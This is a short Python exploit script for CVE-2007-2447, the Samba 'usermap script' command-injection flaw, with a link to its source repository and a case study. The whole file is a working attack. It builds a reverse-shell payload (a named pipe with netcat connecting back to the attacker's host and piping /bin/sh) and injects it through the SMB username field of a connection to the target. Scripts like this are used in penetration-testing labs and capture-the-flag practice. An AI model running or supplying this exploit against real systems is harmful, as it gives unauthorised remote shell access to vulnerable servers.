#!/usr/bin/python
# -*- coding: utf-8 -*-

# From : https://github.com/amriunix/cve-2007-2447
# case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/

import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print("[+] Payload was sent - check netcat !")

if __name__ == '__main__':
    print("[*] CVE-2007-2447 - Samba usermap script")
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Connecting !")
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)